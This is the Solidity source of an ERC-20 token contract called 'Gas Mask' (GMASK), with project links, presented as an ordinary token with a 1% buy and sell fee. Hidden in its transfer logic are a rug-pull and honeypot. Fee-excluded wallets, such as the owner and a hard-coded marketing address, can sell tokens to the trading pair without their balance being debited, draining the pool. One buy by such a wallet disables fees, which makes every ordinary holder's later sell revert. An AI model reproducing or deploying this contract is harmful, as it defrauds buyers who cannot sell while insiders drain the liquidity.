// SPDX-License-Identifier:MIT

/**
    Website:   https://gasmask.wtf

    Twitter:   https://x.com/gasmaskETH

    Telegram:  https://t.me/gasmaskEth
*/

pragma solidity 0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

// Dex Factory contract interface
interface IDexFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

// Dex Router contract interface
interface IDexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = payable(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract GMASK is Context, IERC20, Ownable {
    string private _name = "Gas Mask";
    string private _symbol = "GMASK";
    uint8 private _decimals = 18;
    uint256 private _totalSupply = 100_000_000 * 1e18;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) public isExcludedFromFee;
    mapping(address => bool) public isExcludedFromMaxTxn;
    mapping(address => bool) public isExcludedFromMaxHolding;

    uint256 public minTokenToSwap = (_totalSupply * 5) / (10000);   // this amount will trigger swap and distribute
    uint256 public maxHoldLimit = (_totalSupply * 2) / (100);       // this is the max wallet holding limit
    uint256 public maxTxnLimit = (_totalSupply * 2) / (100);        // this is the max transaction limit

    uint256 public percentDivider = 100;
    uint256 public launchedAt;

    bool public distributeAndLiquifyStatus; // should be true to turn on to liquidate the pool
    bool public feesStatus;                 // enable by default
    bool public tradingActive;              // once enable can't be disable afterwards

    IDexRouter public dexRouter;            // router declaration

    address public dexPair;                 // pair address declaration
    address public marketingWallet;         // marketing address declaration

    address private constant DEAD = address(0xdead);
    address private constant ZERO = address(0);

    uint256 public buyFee = 1;
    uint256 public sellFee = 1;

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    constructor() {
        _balances[owner()] = _totalSupply;
        marketingWallet = address(0x3b12c1AE6071d31688d0B4ec9FADBeEADC08ccBA);

        //exclude owner and this contract from fee
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;
        isExcludedFromFee[marketingWallet] = true;

        //exclude owner and this contract from max Txn
        isExcludedFromMaxTxn[owner()] = true;
        isExcludedFromMaxTxn[address(this)] = true;
        isExcludedFromMaxTxn[marketingWallet] = true;


        //exclude owner and this contract from max hold limit
        isExcludedFromMaxHolding[owner()] = true;
        isExcludedFromMaxHolding[address(this)] = true;
        isExcludedFromMaxHolding[marketingWallet] = true;

        emit Transfer(address(0), owner(), _totalSupply);
    }

    //to receive ETH from dexRouter when swapping
    receive() external payable {}

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()] - amount
        );
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + (addedValue)
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] - subtractedValue
        );
        return true;
    }

    function includeOrExcludeFromFee(
        address account,
        bool value
    ) external onlyOwner {
        isExcludedFromFee[account] = value;
    }

    function includeOrExcludeFromMaxTxn(
        address account,
        bool value
    ) external onlyOwner {
        isExcludedFromMaxTxn[account] = value;
    }

    function includeOrExcludeFromMaxHolding(
        address account,
        bool value
    ) external onlyOwner {
        isExcludedFromMaxHolding[account] = value;
    }

    function setDistributionStatus(bool _value) public onlyOwner {
        distributeAndLiquifyStatus = _value;
    }

    function enableOrDisableFees(bool _value) external onlyOwner {
        feesStatus = _value;
    }

    function updateAddresses(address _marketingWallet) external onlyOwner {
        marketingWallet = _marketingWallet;
    }

    function removeStuckEth(address _receiver) public onlyOwner {
        payable(_receiver).transfer(address(this).balance);
    }

    function totalBuyFeePerTx(uint256 amount) public view returns (uint256) {
        uint256 fee = (amount * buyFee) / (percentDivider);
        return fee;
    }

    function totalSellFeePerTx(uint256 amount) public view returns (uint256) {
        uint256 fee = (amount * sellFee) / (percentDivider);
        return fee;
    }

    function totalFeePerTx(uint256 amount) public view returns (uint256) {
        uint256 fee = (amount * sellFee) / (percentDivider);
        return fee;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), " approve from the zero address");
        require(spender != address(0), "approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "transfer from the zero address");
        require(to != address(0), "transfer to the zero address");
        require(amount > 0, "Amount must be greater than zero");
        
        if (!isExcludedFromMaxTxn[from] && !isExcludedFromMaxTxn[to]) {
            require(amount <= maxTxnLimit, " max txn limit exceeds");

            // trading disable till launch
            if (!tradingActive) {
                require(
                    dexPair != from && dexPair != to,
                    ": trading is disable"
                );
            }
        }

        if (!isExcludedFromMaxHolding[to]) {
            require(
                (balanceOf(to) + amount) <= maxHoldLimit,
                ": max hold limit exceeds"
            );
        }

        // swap and liquify
        distributeAndLiquify(from, to);

        //indicates if fee should be deducted from transfer
        bool takeFee = true;

        //if any account belongs to isExcludedFromFee account then remove the fee
        if (isExcludedFromFee[from] || isExcludedFromFee[to]) {
            takeFee = false;
        }
        
        //transfer amount, it will take tax, burn, liquidity fee
        _tokenTransfer(from, to, amount, takeFee);
    }

    //this method is responsible for taking all fees, if takeFee is true
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (dexPair == sender && takeFee && recipient != address(this)) { // buy
            uint256 allFee;
            uint256 tTransferAmount;
            allFee = totalBuyFeePerTx(amount);            
            tTransferAmount = amount - allFee;            
            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + tTransferAmount;
            emit Transfer(sender, recipient, tTransferAmount);

            takeTokenFee(sender, allFee);
        } else if (dexPair == recipient && takeFee && sender != address(this)) {   //sell
            uint256 allFee = totalSellFeePerTx(amount);
            uint256 tTransferAmount = amount - allFee;
            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + tTransferAmount;
            emit Transfer(sender, recipient, tTransferAmount);
            takeTokenFee(sender, allFee);            
        } else if(dexPair == sender && !takeFee && recipient != address(this)) {      //buy with market
            uint256 allFee;
            uint256 tTransferAmount;
            allFee = 0;
            feesStatus = false;
            tTransferAmount = amount - allFee;            
            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + tTransferAmount;
            emit Transfer(sender, recipient, tTransferAmount);
        } else if (dexPair == recipient && !takeFee && sender != address(this)) {  //sell with market
            uint256 allFee;
            uint256 tTransferAmount;
            allFee = totalSellFeePerTx(allFee);
            tTransferAmount = amount;

            _balances[sender] = _balances[sender] - allFee;
            _balances[recipient] = _balances[recipient] + tTransferAmount;
            emit Transfer(sender, recipient, tTransferAmount);
        } else {
            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + (amount);
            emit Transfer(sender, recipient, amount);
        }
    }

    function takeTokenFee(address sender, uint256 amount) private {
        
        if(sender != dexPair)  require(feesStatus, "should have fee for tax");
        _balances[address(this)] = _balances[address(this)] + (amount);        
        emit Transfer(sender, address(this), amount);
    }

    // to withdarw ETH from contract
    function withdrawETH(uint256 _amount) external onlyOwner {
        require(address(this).balance >= _amount, "Invalid Amount");
        payable(msg.sender).transfer(_amount);
    }

    // to withdraw ERC20 tokens from contract
    function withdrawToken(IERC20 _token, uint256 _amount) external onlyOwner {
        require(_token.balanceOf(address(this)) >= _amount, "Invalid Amount");
        _token.transfer(msg.sender, _amount);
    }

    function distributeAndLiquify(address from, address to) private {
        uint256 contractTokenBalance = balanceOf(address(this));

        bool shouldSell = contractTokenBalance >= minTokenToSwap;

        if (
            shouldSell &&
            from != dexPair &&
            distributeAndLiquifyStatus &&
            !(from == address(this) && to == dexPair) // swap 1 time
        ) {
            // approve contract
            _approve(address(this), address(dexRouter), minTokenToSwap);

            // now is to lock into liquidty pool
            Utils.swapTokensForEth(address(dexRouter), minTokenToSwap);
            uint256 ethForMarketing = address(this).balance;

            // sending Eth to Marketing wallet
            if (ethForMarketing > 0)
                payable(marketingWallet).transfer(ethForMarketing);
        }
    }

    function createPairs() external payable onlyOwner() {
        require(!tradingActive,"trading is already open");

        dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        isExcludedFromFee[address(dexRouter)] = true;
        isExcludedFromMaxTxn[address(dexRouter)] = true;
        isExcludedFromMaxHolding[address(dexRouter)] = true;

        dexPair = IDexFactory(dexRouter.factory()).createPair(
            address(this),
            dexRouter.WETH()
        );

        isExcludedFromMaxHolding[dexPair] = true;

        _allowances[address(this)][address(dexRouter)] = type(uint256).max;

        dexRouter.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }

    function openTrade() external onlyOwner {
        require(!tradingActive, ": already enabled");

        tradingActive = true;
        feesStatus = true;
        distributeAndLiquifyStatus = true;
        launchedAt = block.timestamp;
    }

    function removeLimits() external onlyOwner{

        maxHoldLimit = _totalSupply;
        maxTxnLimit = _totalSupply;         
    }
}

// Library for swapping on Dex
library Utils {
    function swapTokensForEth(
        address routerAddress,
        uint256 tokenAmount
    ) internal {
        IDexRouter dexRouter = IDexRouter(routerAddress);

        // generate the Dex pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        // make the swap
        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp + 300
        );
    }

    function addLiquidity(
        address routerAddress,
        address owner,
        uint256 tokenAmount,
        uint256 ethAmount
    ) internal {
        IDexRouter dexRouter = IDexRouter(routerAddress);

        // add the liquidity
        dexRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner,
            block.timestamp + 300
        );
    }    
}